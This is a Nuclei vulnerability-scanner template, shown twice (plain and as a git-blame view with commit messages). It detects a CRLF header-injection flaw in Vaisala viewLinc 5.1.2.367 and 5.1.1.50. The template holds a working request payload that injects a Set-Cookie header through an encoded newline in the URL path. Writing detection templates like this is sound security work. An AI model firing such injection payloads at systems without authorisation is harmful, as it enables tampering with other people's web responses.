nuclei-templates/vulnerabilities/other/viewlinc-crlf-injection.yaml

id: viewlinc-crlf-injection

info:
  name: viewLinc 5.1.2.367 - Carriage Return Line Feed Attack
  author: geeknik
  severity: low
  description: viewLinc 5.1.2.367 (and sometimes 5.1.1.50) allows remote attackers to inject a carriage return line feed (CRLF) character into the responses returned by the product, which allows attackers to inject arbitrary HTTP headers into the response returned.
  reference:
    - https://www.vaisala.com/en/products/systems/indoor-monitoring-systems/viewlinc-continuous-monitoring-system
  tags: crlf,viewlinc

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Server: viewLinc/5.1.2.367"
          - "Set-Cookie: crlfinjection=crlfinjection"
        part: header
        condition: and

      - type: word
        words:
          - "Server: viewLinc/5.1.1.50"
          - "Set-Cookie: crlfinjection=crlfinjection"
        part: header
        condition: and

# Enhanced by mp on 2022/08/04
Create viewlinc-crlf-injection.yaml This was discovered whilst participating in a private Hacker0x01 bug bounty program. 2021-03-15 20:00:56 +00:00			`id: viewlinc-crlf-injection`

			`info:`
Dashboard Content Enhancements (#5009) Dashboard Content Enhancements 2022-08-05 13:57:51 +00:00			`name: viewLinc 5.1.2.367 - Carriage Return Line Feed Attack`
Create viewlinc-crlf-injection.yaml This was discovered whilst participating in a private Hacker0x01 bug bounty program. 2021-03-15 20:00:56 +00:00			`author: geeknik`
			`severity: low`
Dashboard Content Enhancements (#5009) Dashboard Content Enhancements 2022-08-05 13:57:51 +00:00			`description: viewLinc 5.1.2.367 (and sometimes 5.1.1.50) allows remote attackers to inject a carriage return line feed (CRLF) character into the responses returned by the product, which allows attackers to inject arbitrary HTTP headers into the response returned.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://www.vaisala.com/en/products/systems/indoor-monitoring-systems/viewlinc-continuous-monitoring-system`
Update viewlinc-crlf-injection.yaml 2021-03-16 08:35:20 +00:00			`tags: crlf,viewlinc`
Create viewlinc-crlf-injection.yaml This was discovered whilst participating in a private Hacker0x01 bug bounty program. 2021-03-15 20:00:56 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"`

			`matchers-condition: or`
			`matchers:`
			`- type: word`
			`words:`
			`- "Server: viewLinc/5.1.2.367"`
			`- "Set-Cookie: crlfinjection=crlfinjection"`
			`part: header`
			`condition: and`

			`- type: word`
			`words:`
			`- "Server: viewLinc/5.1.1.50"`
			`- "Set-Cookie: crlfinjection=crlfinjection"`
			`part: header`
			`condition: and`
Dashboard Content Enhancements (#5009) Dashboard Content Enhancements 2022-08-05 13:57:51 +00:00
			`# Enhanced by mp on 2022/08/04`